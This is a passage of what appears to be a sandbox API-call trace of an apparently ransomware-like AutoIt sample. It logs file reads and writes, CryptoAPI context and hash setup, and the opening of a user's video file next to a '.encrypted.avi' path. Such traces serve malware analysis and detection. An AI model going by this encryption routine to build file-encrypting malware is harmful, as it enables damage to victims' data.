lpMsg=0xe8f3dfee40) returned 0 [0029.295] CharUpperBuffW (in: lpsz="_WINAPI_CLOSEHANDLE", cchLength=0x13 | out: lpsz="_WINAPI_CLOSEHANDLE") returned 0x13 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.295] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.295] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.296] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.296] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.296] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.296] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.296] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.296] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.297] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.297] PeekMessageW (in: lpMsg=0xe8f3dfebe0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfebe0) returned 0 [0029.297] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0029.297] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff0c0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff0c0*=10670) returned 1 [0029.297] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.297] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=0) returned 1 [0029.297] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff060, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff060*=0) returned 1 [0029.297] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x29ae, lpOverlapped=0x0) returned 1 [0029.298] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dff0a0, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dff0a0*=0x0, lpOverlapped=0x0) returned 1 [0029.298] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x29ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0029.298] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=10670) returned 1 [0029.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\e86sW yJgRMAaWNvzF.encrypted.avi\r\n", cchWideChar=106, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 106 [0029.298] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\e86sW yJgRMAaWNvzF.encrypted.avi\r\n", cchWideChar=106, lpMultiByteStr=0xe8f4065e70, cbMultiByte=106, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\e86sW yJgRMAaWNvzF.encrypted.avi\r\n", lpUsedDefaultChar=0x0) returned 106 [0029.298] WriteFile (in: hFile=0x188, lpBuffer=0xe8f40666f0*, nNumberOfBytesToWrite=0x69, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f40666f0*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x69, lpOverlapped=0x0) returned 1 [0029.298] CloseHandle (hObject=0x188) returned 1 [0029.299] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.299] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.300] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.300] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.300] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.300] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0029.300] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.300] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0029.301] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f4178840, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0029.301] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178840, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0029.301] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0029.301] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\J7ZCuukKlDqSUjIv8.mkv", cchWideChar=93, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 93 [0029.302] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\J7ZCuukKlDqSUjIv8.mkv", cchWideChar=93, lpMultiByteStr=0xe8f4062330, cbMultiByte=93, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\J7ZCuukKlDqSUjIv8.mkv", lpUsedDefaultChar=0x0) returned 93 [0029.302] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\J7ZCuukKlDqSUjIv8.mkv" (normalized: "c:\\users\\5jghkoaofdp\\videos\\mmzl\\pegwegazbvwtu3n0gz1z\\dlzp3cwleccw90sx\\j7zcuukkldqsujiv8.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0029.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=93, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 93 [0029.302] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=93, lpWideCharStr=0xe8f408c130, cchWideChar=93 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Videos\\mMZl\\PeGWEGAzBvwtu3N0gZ1z\\DLzP3CWLeCCW90SX\\J7ZCuukKlDqSUjIv8.mkv") returned 93 [0029.302] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.303] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.303] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.303] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0029.303] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0029.303] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0029.303] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0029.304] CloseHandle (hObject=0x188) returned 1 [0029.304] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0029.304] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0029.304] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0029.304] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0029.304] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.304] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0029.304] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0029.304] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.304] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.304] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.304] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.304] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.304] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0029.304] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0029.305] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.305] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.305] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.305] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.305] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.305] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0029.305] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.306] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f4199650) returned 1 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.306] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.306] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0029.306] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.306] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.306] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0029.306] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.307] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.307] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.307] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.307] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.307] CryptCreateHash (in: hProv=0xe8f4199650, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.307] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0029.307] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0029.307] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0029.307] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0029.307] CryptHashData 